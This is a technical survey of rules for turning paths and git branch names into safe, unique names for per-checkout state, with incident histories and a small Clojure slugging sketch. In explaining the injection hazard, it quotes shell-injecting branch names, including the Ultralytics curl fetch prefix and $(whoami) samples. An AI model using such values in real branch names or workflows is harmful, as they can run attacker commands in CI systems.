Naming for Isolation: From a Path or a Branch to a Safe, Unique Name
Table of Contents
Tooling that keeps state per project, per checkout or per branch has to name that state, and the name starts as a string someone else chose: a filesystem path or a git branch. The destination is stricter than the source. A DNS label allows 63 octets of letters, digits and hyphens. A container name allows a few more characters. A directory entry on a case-insensitive disk has fewer distinct names than it appears to. Running several coding agents at once, each in its own git worktree, makes the question routine: every worktree wants its own database, port, container and preview URL.
This note collects the rules in use, where they came from and what went wrong with them. Each claim carries a status: confirmed was read in a primary source on 2026-10-10, secondary came from somewhere else, and anything I believe but could not source is held back to Not confirmed.
1. What to use
There are five shapes. Every system below is one of them or a pair.
| Shape | Rule | Unique | Readable | Reversible | Seen in |
|---|---|---|---|---|---|
| lossy slug | lower-case, replace what is not allowed, truncate | no | yes | no | GitLab CI_COMMIT_REF_SLUG, Compose project names, Claude Code project directories |
| slug plus digest | a readable prefix, then some characters of a hash of the exact input | yes, to the digest's width | yes | no | GitLab CI_ENVIRONMENT_SLUG, Cloudflare preview aliases, Poetry, pipenv |
| digest only | a hash of the input | yes | no | no | Bazel output base, direnv allow files, Dev Containers id, VS Code workspace storage |
| reversible escape | map each forbidden character to an escape sequence | yes | mostly | yes | Go module cache, systemd-escape, Vim, Emacs, Punycode |
| assigned name | a random name or a counter, with the mapping stored elsewhere | yes | no | by lookup | Heroku review apps, git's own worktree ids, container-use, Claude Code worktrees |
Choosing between them:
- A lossy slug is a label for people. It is safe as a key only when the inputs are already known to be distinct after slugging, and a branch namespace that anyone can push to is never that.
- When the name must be readable and unique, append a digest of the exact input. Truncate the readable part and keep the digest whole. GitLab, Poetry, pipenv and Cloudflare all arrived here.
- Decide whether the digest is added always or only when the slug changed the input. "Only when changed" keeps clean names clean, and it lets a clean name be chosen to equal another input's slug-plus-digest (shown in the worked example).
- A reversible escape keeps uniqueness without a hash and grows with the input. Emacs offers a hash as the alternative for long names, and Claude Code truncates at 200 characters and appends one.
- A hash of a path is stable only while the path is. Moving a project orphans a Poetry or pipenv environment, a Bazel output base and a Claude Code transcript directory alike. VS Code salts the hash with the folder's creation time (its inode number on Linux) on purpose, so a recreated folder gets fresh state.
- A name is data on the way in. Git accepts a branch named with quotes,
semicolons and
$(...). Any step that pastes the name into a shell, a workflow expression or a URL has to treat it as hostile, and the slug is what makes it inert. - Fold case before comparing. The default macOS and Windows filesystems treat
Featandfeatas one name, so a key that differs only by case names one directory there and two on Linux.
2. Slugs for DNS labels
The 63 comes from the wire format. RFC 1035 (November 1987) gives each label a one-octet length whose top two bits must be zero: "the remaining six bits of the length field limit the label to 63 octets or less". A whole name is limited to 255 octets. RFC 1123 later relaxed the first character "to allow either a letter or a digit".
| System | Rule | Since | Status |
|---|---|---|---|
GitLab CI_COMMIT_REF_SLUG |
"in lowercase, shortened to 63 bytes, and with everything except 0-9 and a-z replaced with -. No leading / trailing -." The code lower-cases, replaces, cuts at 63, then strips leading and trailing hyphens, so the result can be shorter than 63. |
9.0 under this name; added in 8.15 as CI_BUILD_REF_SLUG |
confirmed (docs, utils.rb, v9.0.0 and v8.15.0 docs) |
GitLab CI_ENVIRONMENT_SLUG |
lower-case, non-alphanumerics to -, must begin with a letter (else prefixed env-), repeated hyphens squeezed, 24 bytes. If the slug differs from the name or is too long: first 17 characters, a hyphen (unless the cut already ends in one), and the last 6 base-36 digits of the name's SHA-256. |
8.15 (per the 9.0 docs) | confirmed (slug/environment.rb) |
| Vercel branch URL | <project-name>-git-<branch-name>-<scope-slug>.vercel.app; "Vercel shortens generated deployment URLs to keep each DNS label within the 63-character limit". The page gives no algorithm. |
page last updated 2026-09-08 | confirmed (docs) |
| Cloudflare Workers preview alias | up to 63 characters: <branch-name>-<worker-name>. Longer: <truncated-branch-name>--<hash>-<worker-name> with a 4-character hash "derived from the full branch name". Before this, alias generation failed for long names. |
changelog dated 2025-08-14, wrangler 4.30.0 | confirmed (changelog) |
| Netlify branch deploy | <branch>--<site>.netlify.app; deploy previews are deploy-preview-<n>--<site>.netlify.app. The page documents no normalisation and no truncation. |
not confirmed | confirmed for the format only |
| Heroku review apps | random URLs by default, predictable ones optional: "Review Apps uses some randomness to prevent naming collisions". | not confirmed | confirmed (docs) |
| Kubernetes object names (DNS labels) | "contain at most 63 characters", "only lowercase alphanumeric characters or '-'", "start with an alphabetic character", "end with an alphanumeric character" | not confirmed | confirmed (docs) |
GitLab's 24-byte environment slug is a slug-plus-digest rule that states its reason. The comment in the source reads: "Slugifying a name may remove the uniqueness guarantee afforded by it being based on name (which must be unique). To compensate, we add a predictable 6-byte suffix in those circumstances. This is not guaranteed uniqueness, but the chance of collisions is vanishingly small". The 24 is attributed in the same file to an OpenShift limit.
The issue that proposed the ref slug gave two reasons: a branch such as
feature/bar cannot be a Docker image tag, and cannot be a review-app
subdomain (confirmed from the issue; opened 2016-09-30, milestone 8.15).
Helm's starter chart carries the same limit into every chart made with
helm create. The template reads:
{{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" }}
with the comment "We truncate at 63 chars because some Kubernetes name fields
are limited to this (by the DNS naming spec)" (confirmed, create.go).
Truncation alone is a lossy slug: two long release names with a common
63-character prefix produce one resource name.
3. Containers
| System | Rule | Status |
|---|---|---|
| Docker container names and local-driver volume names | [a-zA-Z0-9][a-zA-Z0-9_.-]+ |
confirmed (moby names/names.go, volume/local/local.go) |
| Compose project name, stated | "must contain only lowercase letters, decimal digits, dashes, and underscores" and "must begin with a lowercase letter or decimal digit" | confirmed (docs) |
| Compose project name, default | the -p flag, then COMPOSE_PROJECT_NAME, then the file's top-level name:, then the base name of the project directory |
confirmed (docs) |
| Compose normalisation | lower-case, keep only [a-z0-9_-], strip leading _ and -. Characters outside the set are deleted, with no replacement. A name given by -p or COMPOSE_PROJECT_NAME that normalisation would change is an error; a top-level name: is normalised silently, like the directory name. |
confirmed (compose-go loader.go, cli/options.go) |
| Compose V1 normalisation | lower-case, delete everything outside [a-z0-9]; from 1.21.0 (2018-04-10) everything outside [-_a-z0-9], applied silently to -p, COMPOSE_PROJECT_NAME and the directory name alike |
confirmed (command.py at 1.20.1 and 1.21.0, V1 changelog) |
| Compose V1 to V2 | "Container names now use hyphens as separators instead of underscores", with a --compatibility flag to restore the old form |
secondary (Docker's blog, 2022-04-26) |
Dev Containers ${devcontainerId} |
must be "unique among other dev containers on the same Docker host", "stable across rebuilds", and "only contain alphanumeric characters". The described method: SHA-256 of the sorted JSON of the identifying labels, base-32, left-padded to 52 characters. | confirmed (spec proposal) |
Two consequences follow from the Compose code as read. The default project
name is the directory's base name with its parent dropped, so two checkouts
both named app share a project and its containers, networks and volumes
unless one is renamed. And deletion collides where replacement would not:
my.app and myapp normalise to the same name. Neither was run here.
The Dev Containers id is the digest-only shape, chosen because a feature such
as docker-in-docker needs a volume per container and the example in the spec
names it dind-var-lib-docker-${devcontainerId}.
4. Caches keyed by a hash
| System | Key | Status |
|---|---|---|
| Bazel output base | under outputRoot/_bazel_$USER, a directory "whose name is the MD5 hash of the path of the workspace root" |
confirmed (docs) |
| VS Code workspace storage id | local folder: MD5 of the path plus a salt, the folder's birth time (inode number on Linux). Remote folder: MD5 of the whole URI. The source says "DO NOT CHANGE. IDENTIFIERS HAVE TO REMAIN STABLE". | confirmed (workspaces.ts) |
| Poetry virtualenv name | lower-cased project name with a short list of shell-hostile characters replaced by _, cut to 42; then - and the first 8 characters of the URL-safe base-64 SHA-256 of the case-normalised real path |
confirmed (env_manager.py) |
| pipenv virtualenv name | sanitised directory name, -, 8 characters of URL-safe base-64 from the first 6 bytes of the SHA-256 of the Pipfile location. On a case-insensitive filesystem it also looks for an existing environment made under a different casing of the same path. |
confirmed (venv_locator.py, docs) |
| direnv allow file | SHA-256, in hex, of the absolute path, a newline, and the file's contents | confirmed (rc.go) |
| Cargo registry directories | $CARGO_HOME/registry/{index,cache,src}/<host>-<hash>; the hash is 16 hex digits of a 64-bit hash, stable across releases, of the source kind and canonical URL. The source warns that changing it "will orphan previously cached data" |
confirmed (cargo sources/registry/mod.rs, util/hex.rs) |
| Nix store path | store-dir/digest-name; the digest is a Nix32 (base-32) rendering of a SHA-256, compressed to 160 bits, of a fingerprint that includes the store location and the name |
confirmed (store-path.md) |
Poetry and pipenv are the same answer reached twice: name plus a hash of
where the project lives. pipenv's documentation states the cost. After a move
or rename, "pipenv --venv will report an error", and the old environment is
left behind.
direnv hashes the contents with the path, so the key is a statement about a particular version of a file at a particular place. An edit or a move both revoke it. Nix puts the digest first and the name second, and the name is there for people.
5. Reversible escapes
| System | Rule | Status |
|---|---|---|
| Go module cache and proxy | "replacing every uppercase letter with an exclamation mark followed by the corresponding lower-case letter", so example.com/M is stored as example.com/!m; since Go 1.11 (August 2018) |
confirmed (go.dev/ref/mod, module.go) |
systemd-escape |
/ becomes -; everything except ASCII alphanumerics, :, _ and . becomes a C-style \x2d escape; a leading . is escaped too |
confirmed (systemd.unit man source) |
| Vim swap and backup directories | a directory ending in // makes the name "from the complete path to the file with all path separators replaced by percent '%' signs" |
confirmed (options.txt, 'directory'; 'backupdir' says "changed to") |
Emacs backup-directory-alist |
"the full name of the file backed up with all directory separators changed to ! to prevent clashes" |
confirmed (backups.texi) |
Emacs auto-save-file-name-transforms |
the same ! rule, or a named secure hash of the file name, which "avoids any risk of excessively long file names" |
confirmed (backups.texi) |
| Punycode | RFC 3492, March 2003: Unicode labels carried in the letters, digits and hyphens that DNS allows | confirmed for date and purpose only |
| Percent-encoding | RFC 3986, January 2005 | confirmed for date only |
Go's rule is the one most relevant to branch names, because it is aimed at
the same hazard. The comment in module.go gives the reasoning: the download
cache has to work on a case-insensitive filesystem, a hex encoding "would be
fairly illegible to most programmers when those paths appeared in the file
system", so the escape should leave most paths alone. It works only because
"Import paths have never allowed exclamation marks". A scheme for branch names
has no such luck: git allows ! in a ref.
systemd states its guarantee and the condition on it: the escaping "is fully
reversible, as long as it is known whether the escaped string was a path".
The Emacs manual does not say what happens to a ! already in a file name.
The source does: files.el doubles it to !! before turning / into !, so
/a/b and /a!b stay apart, but /a!/b and /a/!b both become !a!!!b (confirmed, files.el under emacs --batch). Vim's manual
says the % form "will ensure file name uniqueness"; it does not escape a literal %, so /a%b and /a/b both become %a%b (make_percent_swname in memline.c). Emacs adds the length caveat: "This will not work
correctly if your filesystem truncates the resulting name."
6. The XDG base directories
| Version | Date | Adds | Status |
|---|---|---|---|
| 0.5 | 9 June 2003 | XDG_DATA_HOME, XDG_CONFIG_HOME, XDG_DATA_DIRS, XDG_CONFIG_DIRS |
confirmed (xdg-specs commit c8475bef) |
| 0.6 | 31 July 2003 | XDG_CACHE_HOME |
confirmed (the 0.6 text) |
| 0.7 | 24 November 2010 | XDG_RUNTIME_DIR |
confirmed (the 0.7 text) |
| 0.8 | 8 May 2021 | XDG_STATE_HOME, default $HOME/.local/state |
confirmed (the 0.8 XML) |
0.5 is the first version in the xdg-specs history. A patch adding
XDG_STATE_HOME was posted to the xdg list on 19 August 2019; it entered the
spec repository in November 2020.
The 0.8 text says the state directory "contains state data that should persist
between (application) restarts, but that is not important or portable enough
to the user that it should be stored in $XDG_DATA_HOME", with history, logs,
recently used files and layout as examples.
The specification says nothing about projects, checkouts, workspaces or
branches. A search of the 0.8 XML for those words finds none of them. It
defines a base directory and stops. Everything under
$XDG_STATE_HOME/<tool>/ is the tool's to name, which is why each tool above
has its own rule.
7. Filesystems and git
| Fact | Source text | Status |
|---|---|---|
| APFS case | "case-sensitive on iOS and is available in case-sensitive and case-insensitive variants on macOS, with case-insensitive being the default" | confirmed (Apple, archived 2018 guide) |
| APFS normalisation | "normalization-insensitive in both the case-insensitive and case-sensitive variants"; it "preserves the normalization of the filename", where HFS+ "stores the normalized form", which TN1150 calls "a variant of Normal Form D" | confirmed (same; TN1150) |
git core.ignoreCase |
workarounds for "filesystems that are not case sensitive, like APFS, HFS+, FAT, NTFS"; git init and git clone probe and set it |
confirmed (git docs source) |
git core.precomposeUnicode |
"Git reverts the unicode decomposition of filenames done by Mac OS" | confirmed (same) |
git core.protectHFS, core.protectNTFS |
refuse checkout of paths equivalent to .git on HFS+, or troublesome on NTFS; protectHFS on by default on macOS; protectNTFS is documented as Windows-only but has defaulted to true everywhere since git 2.24.1 and 2.14.6 (December 2019, CVE-2019-1353) |
corrected (git docs; environment.c) |
| git ref names | no component may begin with . or end with .lock; no .., ASCII control characters, space, ~, ^, :, ?, *, [, \, @{; no leading or trailing /, no //; no trailing .; not the single character @ |
confirmed (git-check-ref-format) |
| Windows names | reserved: < > : " / \ the vertical bar, ? and *, and characters 0 to 31. Reserved names: CON, PRN, AUX, NUL, COM1 to COM9, LPT1 to LPT9, COM¹ to COM³ and LPT¹ to LPT³, also with an extension. "Do not end a file or directory name with a space or a period." |
confirmed (Microsoft) |
| Windows path length | "MAX_PATH, which is defined as 260 characters", removable since Windows 10 version 1607 by a registry or policy setting |
confirmed (Microsoft) |
| File name length | NAME_MAX is 255 bytes in Linux limits.h and macOS syslimits.h; ext4's EXT4_NAME_LEN is 255 |
confirmed (kernel and SDK headers) |
The ref-name rules exist, the git manual says, to "make it easy for shell
script based tools to parse reference names" and to avoid ambiguity in
revision syntax. They are not a safety filter: quotes, semicolons, backticks,
$, parentheses, ! and any non-ASCII character are all allowed.
Loose refs are files, so a case-insensitive filesystem applies its own rule on top of git's. The worked example below has the observation.
8. What went wrong
8.1. A name that is equal on one filesystem and different on another
CVE-2014-9390. A tree could hold .Git/config, and a checkout on a
case-insensitive filesystem wrote it over .git/config. The 1.9.5 release
notes: "Git now prevents you from tracking a path with .Git (in any case
combination) as a path component." The same fix covered git~1 on Windows
and, on HFS+, names with ignorable code points such as .git. NVD
describes the result as letting "remote Git servers … execute arbitrary
commands". Confirmed from the release notes and the NVD record. The fix
releases (1.8.5.6, 1.9.5, 2.2.1) were tagged 2014-12-17 and GitHub announced
the issue on 2014-12-18; NVD's record was not published until 2020-02-12.
CVE-2021-21300, published 2021-03-09. NVD: a repository "that contains symbolic links as well as files using a clean/smudge filter such as Git LFS, may cause just-checked out script to be executed while cloning onto a case-insensitive file system such as NTFS, HFS+ or APFS". Two paths differing by case, one a symlink, were one name on disk. Confirmed.
8.2. A branch name run as code
GitHub Security Lab, August 2021, lists github.head_ref and
github.event.pull_request.head.ref among the untrusted workflow inputs, and
notes that "branches cannot have spaces or colons in their names. However,
command injection is still possible", with this as a valid branch name:
zzz";echo${IFS}"hello";#
Confirmed from the article.
The named incident is Ultralytics, December 2024. An advisory on the
project's shared action, published 14 August 2024, already described "GitHub
Actions Script Injection" through a crafted branch name (confirmed). On 4
December 2024 two pull requests arrived from the fork openimbot whose branch
names began
$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/
GitHub displays them as openimbot:$(...); the prefix is the fork owner's
label, not part of the name, and git refuses : in a ref. The line
git pull origin ${{ github.head_ref || github.ref }} in the project's
composite action, called from its format workflow, expanded one into the shell
(secondary: William Woodruff's analysis; I did not read the action at that
commit). PyPI's own account lists the releases that
were removed: 8.3.41, 8.3.42, 8.3.45 and 8.3.46 (confirmed).
The branch name there contains $, parentheses, braces and commas. Git
allows every one of them.
8.3. Two inputs, one name
I found no published incident report in which a lossy slug sent two branches to one preview environment. What exists is the vendors correcting for it:
- GitLab's environment slug adds its digest suffix for exactly this reason, in the comment quoted above (confirmed).
- Cloudflare's long branch names used to produce no alias; they now get a hash "derived from the full branch name" (confirmed).
- Heroku's default is random, and its docs warn that "Using a predictable URL with Review Apps can expose those apps to a possible subdomain takeover" (confirmed). A predictable name can be claimed by someone else once the original is gone.
- A QEMU commit and a GitLab issue about review-app namespaces describe collisions and mismatches caused by ref slugs (secondary: search summaries, neither read).
By construction, CI_COMMIT_REF_SLUG maps feature/foo and feature-foo to
the same string, and any two branches sharing their first 63 characters.
9. Agent harnesses
What each product documents, and no more. All confirmed from the product's own documentation or source on 2026-10-10 unless marked.
| Product | Isolation unit | Where, and how named | Branch |
|---|---|---|---|
| Claude Code | git worktree | .claude/worktrees/<name>/ at the repository root; the name is given, or generated "such as bright-running-fox"; a pull request gives pr-<number> |
worktree-<name> |
| Codex app | git worktree | $CODEX_HOME/worktrees, root configurable; directory naming not documented |
none: detached HEAD; the branch prefix field shows codex/ |
| Cursor | git worktree | "a separate checkout for that agent", under ~/.cursor/worktrees/<reponame>/<name> (CLI page); the name is given or generated |
not documented |
| container-use | git branch, worktree and container | worktrees under ~/.config/container-use/worktrees/<id>; the id is a generated two-word name |
named by the id, on a container-use remote |
| Vibe Kanban | git worktree | vibe-kanban/worktrees/ in the system temp directory, or .vibe-kanban-workspaces under a configured directory; named <4 hex of a UUID>-<title slug, at most 16 characters> |
vk/ plus the same name, prefix configurable (source) |
| Conductor | git worktree | "usually" ~/conductor/workspaces/<repo name>/<workspace name>; the name is a city such as san-antonio-v3, one of 295 |
not documented |
Limits are documented by two of them. Codex "keeps your most recent 15
Codex-managed worktrees" and snapshots before deleting. Cursor's "default cap
is 25 worktrees per machine". Claude Code and Codex both copy ignored files
into a new worktree from a .worktreeinclude file; Cursor runs a setup script
from .cursor/worktrees.json and passes $ROOT_WORKTREE_PATH.
One of them assigns a port: Conductor's CONDUCTOR_PORT is the "First port in
a range of 10 ports assigned to a local workspace". None assigns a database
name. Most use assigned names for the worktree itself; Vibe Kanban instead
slugs the task title to 16 characters and prefixes four hex digits of a UUID.
Either way the branch-to-name problem is pushed onto whatever the project's own
tooling does next.
Git's own answer for its per-worktree directory under $GIT_DIR/worktrees is
the oldest in this section (git 2.5.0, July 2015): "the base name of the linked worktree's path,
possibly appended with a number to make it unique" (confirmed,
git-worktree).
9.1. Claude Code's project directories
The sessions page states the rule: transcripts are stored at
~/.claude/projects/<project>/, "where <project> is your working directory
path with non-alphanumeric characters replaced by -. For a working directory
whose converted name exceeds 200 characters, Claude Code truncates the name to
200 characters and appends a hash of the full path, so the directory name
stays within filesystem limits."
So /Users/you/src/a-b and /Users/you/src/a/b both become
-Users-you-src-a-b. Below 200 characters it is a lossy slug with no digest.
Above, it is slug plus digest. The page says "characters"; whether a
non-ASCII character becomes one hyphen or one per byte is not stated.
Two keys are in use for one directory tree. Transcripts are keyed by working
directory. Auto memory is keyed by repository: "The <project> path is
derived from the git repository, so all worktrees and subdirectories within
the same repo share one auto memory directory."
Since v2.1.234 the name can be set, with CLAUDE_CODE_PROJECT_DIR_NAME
alongside CLAUDE_CONFIG_DIR: "1-64 letters, digits, hyphens, or underscores",
and "don't use a Windows device name such as con".
10. A worked example
This is first-hand: one project, macOS, 2026-10-10. The task was to name a
test database per checkout and per branch under $XDG_STATE_HOME.
What git accepted and refused as a branch name:
| Refused | Accepted |
|---|---|
a space, a tab, //, .., a leading - or ., a trailing / or .lock, any of ~ ^ : ? * [ \ |
emoji, semicolons, quotes, @, backticks, $(whoami) |
With feat/A present as a loose ref, git refused feat/a as already existing; after git pack-refs --all it accepted feat/a as a second branch. With
core.precomposeUnicode on, it treated a decomposed å as the composed one.
Both are the filesystem's rule showing through.
The checkout key copied the Claude Code rule: the absolute path with each non-alphanumeric turned into a hyphen. Two copies of that rule existed, one in shell and one elsewhere in the tooling, and they disagreed:
printf '%s' "$path" | LC_ALL=C tr -c 'A-Za-z0-9-' '-'
tr in the C locale replaces bytes. The other copy replaced characters.
For å, two bytes in UTF-8, one gave two hyphens and the other gave one. Any
non-ASCII path made the two halves of the tooling look in different places.
A property test over generated branch names found a second bug within 15 cases: an empty name produced an empty key, and a path ending in an empty segment is the parent directory.
The fix was one function, used by both sides. A branch that is already lower-case words joined by single hyphens is its own key. Anything else gets a lower-cased readable slug plus 8 hex characters of a digest of the exact name. When no name can be derived, the variable is pointed at an unwritable path, so a test run fails at once and cannot write into a shared database.
A sketch of that shape, run under Babashka for this note. It is a reconstruction for illustration and is not the project's code.
(require '[clojure.string :as str])
(import '(java.security MessageDigest) '(java.util Locale))
(defn hex8 [s]
(->> (.digest (MessageDigest/getInstance "SHA-256") (.getBytes s "UTF-8"))
(take 4)
(map #(format "%02x" (bit-and % 0xff)))
(apply str)))
(defn branch-key [branch]
(when (str/blank? branch)
(throw (ex-info "no branch name; refusing to derive a key" {})))
(if (re-matches #"[a-z0-9]+(-[a-z0-9]+)*" branch)
branch
(let [slug (-> (.toLowerCase branch Locale/ROOT)
(str/replace #"[^a-z0-9]+" "-")
(str/replace #"^-|-$" ""))
slug (str/replace (subs slug 0 (min 40 (count slug))) #"-$" "")]
(str slug (when (seq slug) "-") (hex8 branch)))))
(branch-key "fix-login") ;;=> "fix-login"
(branch-key "feat/a") ;;=> "feat-a-d54ad782"
(branch-key "feat/A") ;;=> "feat-a-c59fa721"
(branch-key "x;$(whoami)") ;;=> "x-whoami-957fe0c7"
(branch-key "å") ;;=> "e83979df"
(branch-key "å") ;;=> "a-56bb553c"
Running it showed two limits of the sketch.
- A clean name passes through unchanged, so the branch literally named
feat-a-d54ad782gets the same key asfeat/a. Whoever can name a branch can aim at another branch's state. Appending the digest to every name closes this and costs the clean names. - The composed and decomposed
åget different keys, while git on that machine treats them as one branch. The name has to be normalised to one Unicode form before it is hashed, or the key depends on how the name was typed.
11. Not confirmed
Looked for and not established on 2026-10-10. None of this is asserted above.
- Vercel's truncation algorithm. A search summary describes cutting to 56 characters and appending 6 characters of a SHA-256 of prefix, branch and project name. The current documentation page and the knowledge-base page on shortened URLs give no algorithm. Secondary at best.
- Netlify's handling of long or unusual branch names. A support-forum answer says a branch subdomain over the label limit cannot be used. Not in the documentation read.
- The exact form of predictable Heroku review app names. (App names are 3 to
30 characters,
^[a-z][a-z0-9-]{1,28}[a-z0-9]$, per the Platform API schema.) - The date Compose V1 support ended. Docker's blog (2023-01-31) says after June 2023; vendor blog only.
- ccache. Not checked; it keys on content, which is a different question.
- Aider. Nothing about worktrees in the page fetched, and no match for "worktree" in the Aider-AI/aider repository's code search.
- Vibe Kanban's default workspace directory. Its settings doc says "typically your home directory"; the source uses the system temp directory.
12. Sources
Slugs and DNS:
- RFC 1035, section 2.3.4 and 3.1 – label and name limits; RFC 1123, section 2.1
- GitLab predefined CI/CD variables; utils.rb –
slugify; slug/environment.rb; the 9.0 variables page; the 8.15 variables page; issue 22849 - Vercel: generated URLs
- Cloudflare changelog: long branch names in preview aliases
- Netlify: deploy overview; support forum thread – secondary
- Heroku: review apps
- Kubernetes: object names and IDs
- Helm create.go – the starter chart's helpers
Containers:
- moby names.go
- Docker Compose: project name; compose-go loader.go –
NormalizeProjectName - Docker blog: Compose V2 general availability – vendor blog; Docker blog: V1 deprecation
- Compose V1 command.py; V1 changelog – 1.21.0; compose-go options.go
- Dev Containers: the devcontainerId proposal
Hashes:
- Bazel: output directory layout
- VS Code workspaces.ts
- Poetry env_manager.py –
generate_env_name - pipenv venv_locator.py; pipenv: virtual environments
- direnv rc.go –
fileHash - Nix: complete store path calculation
- Cargo Home – read; does not mention hashes; cargo registry/mod.rs –
short_name
Escapes:
- Go Modules Reference; module.go – the escaped-path comment
- systemd.unit – string escaping for unit names
- Vim options.txt –
directory,backupdir - Emacs Lisp manual: backups and auto-saving; files.el –
make-backup-file-name-1 - RFC 3492; RFC 3986
XDG, filesystems, git:
- XDG Base Directory Specification 0.6, 0.7, 0.8; the 2019 patch; xdg-specs history – 0.5
- Apple File System Guide: FAQ – archived; Apple TN1150 – HFS+ normalisation
- git-config; git-check-ref-format; git-worktree
- Microsoft: naming files, paths, and namespaces
Incidents:
- CVE-2014-9390; Git 1.9.5 release notes; GitHub blog, 2014-12-18
- CVE-2021-21300; Git 2.17.6 release notes
- GitHub Security Lab: untrusted input in GitHub Actions
- GHSA-7x29-qqmq-v6qc – the Ultralytics action advisory
- William Woodruff: the Ultralytics injection – secondary
- PyPI: Ultralytics attack analysis
Agent harnesses:
- Claude Code: worktrees, sessions, memory
- Codex: git worktrees
- Cursor: worktrees
- container-use repository.go, git.go
- Cursor CLI: worktrees
- Vibe Kanban: container.rs, worktree_manager.rs, text.rs
- Conductor: git worktrees, cities, environment variables
13. Related
- A Practical Layout for Agent Identities – the same problem for credentials: the path is the identifier
- Identity Store Specification: A Stack of Drafts – the layout sealed; its v2 puts realms and handles in one normal form
- Claude Code Features: 2026 Q2 – worktrees as a product feature
- Agent Sandbox Systems – isolation by container and jail, where these names end up
- Five Boundaries, Four Isolations – what isolation is for